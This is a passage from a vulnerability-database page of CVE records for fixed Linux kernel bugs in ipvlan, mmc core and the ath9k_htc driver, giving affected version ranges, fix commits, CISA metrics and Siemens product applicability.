              "lessThan": "cb53706a3403ba67f4040b2a82d9cf79e11b1a48",
              "status": "affected",
              "version": "2ad7bf3638411cb547f2823df08166c13ab04269",
              "versionType": "git"
            },
            {
              "lessThan": "54213c09801e0bd2549ac42961093be36f65a7d0",
              "status": "affected",
              "version": "2ad7bf3638411cb547f2823df08166c13ab04269",
              "versionType": "git"
            },
            {
              "lessThan": "13c4543db34e0da5a7d2f550b6262d860f248381",
              "status": "affected",
              "version": "2ad7bf3638411cb547f2823df08166c13ab04269",
              "versionType": "git"
            },
            {
              "lessThan": "b3dc6e8003b500861fa307e9a3400c52e78e4d3a",
              "status": "affected",
              "version": "2ad7bf3638411cb547f2823df08166c13ab04269",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ipvlan/ipvlan_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.19"
            },
            {
              "lessThan": "3.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "3.19",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvlan: Dont Use skb-\u003esk in ipvlan_process_v{4,6}_outbound\n\nRaw packet from PF_PACKET socket ontop of an IPv6-backed ipvlan device will\nhit WARN_ON_ONCE() in sk_mc_loop() through sch_direct_xmit() path.\n\nWARNING: CPU: 2 PID: 0 at net/core/sock.c:775 sk_mc_loop+0x2d/0x70\nModules linked in: sch_netem ipvlan rfkill cirrus drm_shmem_helper sg drm_kms_helper\nCPU: 2 PID: 0 Comm: swapper/2 Kdump: loaded Not tainted 6.9.0+ #279\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\nRIP: 0010:sk_mc_loop+0x2d/0x70\nCode: fa 0f 1f 44 00 00 65 0f b7 15 f7 96 a3 4f 31 c0 66 85 d2 75 26 48 85 ff 74 1c\nRSP: 0018:ffffa9584015cd78 EFLAGS: 00010212\nRAX: 0000000000000011 RBX: ffff91e585793e00 RCX: 0000000002c6a001\nRDX: 0000000000000000 RSI: 0000000000000040 RDI: ffff91e589c0f000\nRBP: ffff91e5855bd100 R08: 0000000000000000 R09: 3d00545216f43d00\nR10: ffff91e584fdcc50 R11: 00000060dd8616f4 R12: ffff91e58132d000\nR13: ffff91e584fdcc68 R14: ffff91e5869ce800 R15: ffff91e589c0f000\nFS:  0000000000000000(0000) GS:ffff91e898100000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f788f7c44c0 CR3: 0000000008e1a000 CR4: 00000000000006f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n\u003cIRQ\u003e\n ? __warn (kernel/panic.c:693)\n ? sk_mc_loop (net/core/sock.c:760)\n ? report_bug (lib/bug.c:201 lib/bug.c:219)\n ? handle_bug (arch/x86/kernel/traps.c:239)\n ? exc_invalid_op (arch/x86/kernel/traps.c:260 (discriminator 1))\n ? asm_exc_invalid_op (./arch/x86/include/asm/idtentry.h:621)\n ? sk_mc_loop (net/core/sock.c:760)\n ip6_finish_output2 (net/ipv6/ip6_output.c:83 (discriminator 1))\n ? nf_hook_slow (net/netfilter/core.c:626)\n ip6_finish_output (net/ipv6/ip6_output.c:222)\n ? __pfx_ip6_finish_output (net/ipv6/ip6_output.c:215)\n ipvlan_xmit_mode_l3 (drivers/net/ipvlan/ipvlan_core.c:602) ipvlan\n ipvlan_start_xmit (drivers/net/ipvlan/ipvlan_main.c:226) ipvlan\n dev_hard_start_xmit (net/core/dev.c:3594)\n sch_direct_xmit (net/sched/sch_generic.c:343)\n __qdisc_run (net/sched/sch_generic.c:416)\n net_tx_action (net/core/dev.c:5286)\n handle_softirqs (kernel/softirq.c:555)\n __irq_exit_rcu (kernel/softirq.c:589)\n sysvec_apic_timer_interrupt (arch/x86/kernel/apic/apic.c:1043)\n\nThe warning triggers as this:\npacket_sendmsg\n   packet_snd //skb-\u003esk is packet sk\n      __dev_queue_xmit\n         __dev_xmit_skb //q-\u003eenqueue is not NULL\n             __qdisc_run\n               sch_direct_xmit\n                 dev_hard_start_xmit\n                   ipvlan_start_xmit\n                      ipvlan_xmit_mode_l3 //l3 mode\n                        ipvlan_process_outbound //vepa flag\n                          ipvlan_process_v6_outbound\n                            ip6_local_out\n                                __ip6_finish_output\n                                  ip6_finish_output2 //multicast packet\n                                    sk_mc_loop //sk-\u003esk_family is AF_PACKET\n\nCall ip{6}_local_out() with NULL sk in ipvlan as other tunnels to fix this."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:10:52.354Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0049a623dfbbb49888de7f0c2f33a582b5ead989"
        },
        {
          "url": "https://git.kernel.org/stable/c/54768bacfde60e8e4757968d79f8726711dd2cf5"
        },
        {
          "url": "https://git.kernel.org/stable/c/1abbf079da59ef559d0ab4219d2a0302f7970761"
        },
        {
          "url": "https://git.kernel.org/stable/c/183c4b416454b9983dc1b8aa0022b748911adc48"
        },
        {
          "url": "https://git.kernel.org/stable/c/cb53706a3403ba67f4040b2a82d9cf79e11b1a48"
        },
        {
          "url": "https://git.kernel.org/stable/c/54213c09801e0bd2549ac42961093be36f65a7d0"
        },
        {
          "url": "https://git.kernel.org/stable/c/13c4543db34e0da5a7d2f550b6262d860f248381"
        },
        {
          "url": "https://git.kernel.org/stable/c/b3dc6e8003b500861fa307e9a3400c52e78e4d3a"
        }
      ],
      "title": "ipvlan: Dont Use skb-\u003esk in ipvlan_process_v{4,6}_outbound",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-33621",
    "datePublished": "2024-06-21T10:18:05.673Z",
    "dateReserved": "2024-06-21T10:13:16.298Z",
    "dateUpdated": "2026-05-12T11:51:54.925Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35813 (GCVE-0-2024-35813)

Vulnerability from cvelistv5 – Published: 2024-05-17 13:23 – Updated: 2026-05-12 11:52

Title

mmc: core: Avoid negative index with array access

Summary

In the Linux kernel, the following vulnerability has been resolved: mmc: core: Avoid negative index with array access Commit 4d0c8d0aef63 ("mmc: core: Use mrq.sbc in close-ended ffu") assigns prev_idata = idatas[i - 1], but doesn't check that the iterator i is greater than zero. Let's fix this by adding a check.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/b9a7339ae403035ff…
https://git.kernel.org/stable/c/2b539c88940e22494…
https://git.kernel.org/stable/c/81b8645feca08a54c…
https://git.kernel.org/stable/c/ad9cc5e9e53ab94aa…
https://git.kernel.org/stable/c/4466677dcabe2d70d…
https://git.kernel.org/stable/c/064db53f9023a2d58…
https://git.kernel.org/stable/c/7d0e8a6147550aa05…
https://git.kernel.org/stable/c/cf55a7acd1ed38afe…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: f49f9e802785291149bdc9c824414de4604226b4 , < b9a7339ae403035ffe7fc37cb034b36947910f68 (git) Affected: 59020bf0999ff7da8aedcd00ef8f0d75d93b6d20 , < 2b539c88940e22494da80a93ee1c5a28bbad10f6 (git) Affected: 50b8b7a22e90bab9f1949b64a88ff17ab10913ec , < 81b8645feca08a54c7c4bf36e7b176f4983b2f28 (git) Affected: c4edcd134bb72b3b0acc884612d624e48c9d057f , < ad9cc5e9e53ab94aa0c7ac65d43be7eb208dcb55 (git) Affected: 1653a8102868264f3488c298a9f20af2add9a288 , < 4466677dcabe2d70de6aa3d4bd4a4fafa94a71f2 (git) Affected: eed9119f8f8e8fbf225c08abdbb58597fba807e0 , < 064db53f9023a2d5877a2d12de6bc27995f6ca56 (git) Affected: 4d0c8d0aef6355660b6775d57ccd5d4ea2e15802 , < 7d0e8a6147550aa058fa6ade8583ad252aa61304 (git) Affected: 4d0c8d0aef6355660b6775d57ccd5d4ea2e15802 , < cf55a7acd1ed38afe43bba1c8a0935b51d1dc014 (git)
Linux	Linux	Affected: 6.8 Unaffected: 0 , < 6.8 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35813",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-17T17:39:23.725113Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-17T17:43:26.196Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:47.575Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b9a7339ae403035ffe7fc37cb034b36947910f68"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2b539c88940e22494da80a93ee1c5a28bbad10f6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/81b8645feca08a54c7c4bf36e7b176f4983b2f28"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ad9cc5e9e53ab94aa0c7ac65d43be7eb208dcb55"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4466677dcabe2d70de6aa3d4bd4a4fafa94a71f2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/064db53f9023a2d5877a2d12de6bc27995f6ca56"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7d0e8a6147550aa058fa6ade8583ad252aa61304"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cf55a7acd1ed38afe43bba1c8a0935b51d1dc014"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:10.428Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/mmc/core/block.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b9a7339ae403035ffe7fc37cb034b36947910f68",
              "status": "affected",
              "version": "f49f9e802785291149bdc9c824414de4604226b4",
              "versionType": "git"
            },
            {
              "lessThan": "2b539c88940e22494da80a93ee1c5a28bbad10f6",
              "status": "affected",
              "version": "59020bf0999ff7da8aedcd00ef8f0d75d93b6d20",
              "versionType": "git"
            },
            {
              "lessThan": "81b8645feca08a54c7c4bf36e7b176f4983b2f28",
              "status": "affected",
              "version": "50b8b7a22e90bab9f1949b64a88ff17ab10913ec",
              "versionType": "git"
            },
            {
              "lessThan": "ad9cc5e9e53ab94aa0c7ac65d43be7eb208dcb55",
              "status": "affected",
              "version": "c4edcd134bb72b3b0acc884612d624e48c9d057f",
              "versionType": "git"
            },
            {
              "lessThan": "4466677dcabe2d70de6aa3d4bd4a4fafa94a71f2",
              "status": "affected",
              "version": "1653a8102868264f3488c298a9f20af2add9a288",
              "versionType": "git"
            },
            {
              "lessThan": "064db53f9023a2d5877a2d12de6bc27995f6ca56",
              "status": "affected",
              "version": "eed9119f8f8e8fbf225c08abdbb58597fba807e0",
              "versionType": "git"
            },
            {
              "lessThan": "7d0e8a6147550aa058fa6ade8583ad252aa61304",
              "status": "affected",
              "version": "4d0c8d0aef6355660b6775d57ccd5d4ea2e15802",
              "versionType": "git"
            },
            {
              "lessThan": "cf55a7acd1ed38afe43bba1c8a0935b51d1dc014",
              "status": "affected",
              "version": "4d0c8d0aef6355660b6775d57ccd5d4ea2e15802",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/mmc/core/block.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.8"
            },
            {
              "lessThan": "6.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.4.269",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.10.210",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.15.149",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "6.1.76",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "6.6.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "6.7.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "6.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmmc: core: Avoid negative index with array access\n\nCommit 4d0c8d0aef63 (\"mmc: core: Use mrq.sbc in close-ended ffu\") assigns\nprev_idata = idatas[i - 1], but doesn\u0027t check that the iterator i is\ngreater than zero. Let\u0027s fix this by adding a check."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:11:30.240Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b9a7339ae403035ffe7fc37cb034b36947910f68"
        },
        {
          "url": "https://git.kernel.org/stable/c/2b539c88940e22494da80a93ee1c5a28bbad10f6"
        },
        {
          "url": "https://git.kernel.org/stable/c/81b8645feca08a54c7c4bf36e7b176f4983b2f28"
        },
        {
          "url": "https://git.kernel.org/stable/c/ad9cc5e9e53ab94aa0c7ac65d43be7eb208dcb55"
        },
        {
          "url": "https://git.kernel.org/stable/c/4466677dcabe2d70de6aa3d4bd4a4fafa94a71f2"
        },
        {
          "url": "https://git.kernel.org/stable/c/064db53f9023a2d5877a2d12de6bc27995f6ca56"
        },
        {
          "url": "https://git.kernel.org/stable/c/7d0e8a6147550aa058fa6ade8583ad252aa61304"
        },
        {
          "url": "https://git.kernel.org/stable/c/cf55a7acd1ed38afe43bba1c8a0935b51d1dc014"
        }
      ],
      "title": "mmc: core: Avoid negative index with array access",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35813",
    "datePublished": "2024-05-17T13:23:18.902Z",
    "dateReserved": "2024-05-17T12:19:12.343Z",
    "dateUpdated": "2026-05-12T11:52:10.428Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49938 (GCVE-0-2024-49938)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:01 – Updated: 2026-05-12 11:59

Title

wifi: ath9k_htc: Use __skb_set_length() for resetting urb before resubmit

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: ath9k_htc: Use __skb_set_length() for resetting urb before resubmit Syzbot points out that skb_trim() has a sanity check on the existing length of the skb, which can be uninitialised in some error paths. The intent here is clearly just to reset the length to zero before resubmitting, so switch to calling __skb_set_length(skb, 0) directly. In addition, __skb_set_length() already contains a call to skb_reset_tail_pointer(), so remove the redundant call. The syzbot report came from ath9k_hif_usb_reg_in_cb(), but there's a similar usage of skb_trim() in ath9k_hif_usb_rx_cb(), change both while we're at it.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/e6b9bf32e0695e4f3…
https://git.kernel.org/stable/c/d1f2fbc6a76908150…
https://git.kernel.org/stable/c/b02eb7c86ff2ef141…
https://git.kernel.org/stable/c/012ae530afa078510…
https://git.kernel.org/stable/c/6a875220670475d92…
https://git.kernel.org/stable/c/e37e348835032d694…
https://git.kernel.org/stable/c/2c230210ec0ae6ed0…
https://git.kernel.org/stable/c/a9f4e28e8adaf0715…
https://git.kernel.org/stable/c/94745807f3ebd379f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: fb9987d0f748c983bb795a86f47522313f701a08 , < e6b9bf32e0695e4f374674002de0527d2a6768eb (git) Affected: fb9987d0f748c983bb795a86f47522313f701a08 , < d1f2fbc6a769081503f6ffedbb5cd1ac497f0e77 (git) Affected: fb9987d0f748c983bb795a86f47522313f701a08 , < b02eb7c86ff2ef1411c3095ec8a52b13f68db04f (git) Affected: fb9987d0f748c983bb795a86f47522313f701a08 , < 012ae530afa0785102360de452745d33c99a321b (git) Affected: fb9987d0f748c983bb795a86f47522313f701a08 , < 6a875220670475d9247e576c15dc29823100a4e4 (git) Affected: fb9987d0f748c983bb795a86f47522313f701a08 , < e37e348835032d6940ec89308cc8996ded691d2d (git) Affected: fb9987d0f748c983bb795a86f47522313f701a08 , < 2c230210ec0ae6ed08306ac70dc21c24b817bb95 (git) Affected: fb9987d0f748c983bb795a86f47522313f701a08 , < a9f4e28e8adaf0715bd4e01462af0a52ee46b01f (git) Affected: fb9987d0f748c983bb795a86f47522313f701a08 , < 94745807f3ebd379f23865e6dab196f220664179 (git)
Linux	Linux	Affected: 2.6.35 Unaffected: 0 , < 2.6.35 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49938",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:38:08.567983Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:50.969Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:23.575Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:04.853Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/ath/ath9k/hif_usb.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e6b9bf32e0695e4f374674002de0527d2a6768eb",
              "status": "affected",
              "version": "fb9987d0f748c983bb795a86f47522313f701a08",
              "versionType": "git"
            },
            {
              "lessThan": "d1f2fbc6a769081503f6ffedbb5cd1ac497f0e77",
              "status": "affected",
              "version": "fb9987d0f748c983bb795a86f47522313f701a08",
              "versionType": "git"
            },
            {
              "lessThan": "b02eb7c86ff2ef1411c3095ec8a52b13f68db04f",
              "status": "affected",
              "version": "fb9987d0f748c983bb795a86f47522313f701a08",
              "versionType": "git"
            },
            {
              "lessThan": "012ae530afa0785102360de452745d33c99a321b",
              "status": "affected",
              "version": "fb9987d0f748c983bb795a86f47522313f701a08",
              "versionType": "git"
            },
            {
              "lessThan": "6a875220670475d9247e576c15dc29823100a4e4",
              "status": "affected",
              "version": "fb9987d0f748c983bb795a86f47522313f701a08",
              "versionType": "git"
            },
            {
              "lessThan": "e37e348835032d6940ec89308cc8996ded691d2d",
              "status": "affected",
              "version": "fb9987d0f748c983bb795a86f47522313f701a08",
              "versionType": "git"
            },
            {
              "lessThan": "2c230210ec0ae6ed08306ac70dc21c24b817bb95",
              "status": "affected",
              "version": "fb9987d0f748c983bb795a86f47522313f701a08",
              "versionType": "git"
            },
            {
              "lessThan": "a9f4e28e8adaf0715bd4e01462af0a52ee46b01f",
              "status": "affected",
              "version": "fb9987d0f748c983bb795a86f47522313f701a08",
              "versionType": "git"
            },
            {
              "lessThan": "94745807f3ebd379f23865e6dab196f220664179",
              "status": "affected",
              "version": "fb9987d0f748c983bb795a86f47522313f701a08",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/ath/ath9k/hif_usb.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.35"
            },
            {
              "lessThan": "2.6.35",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
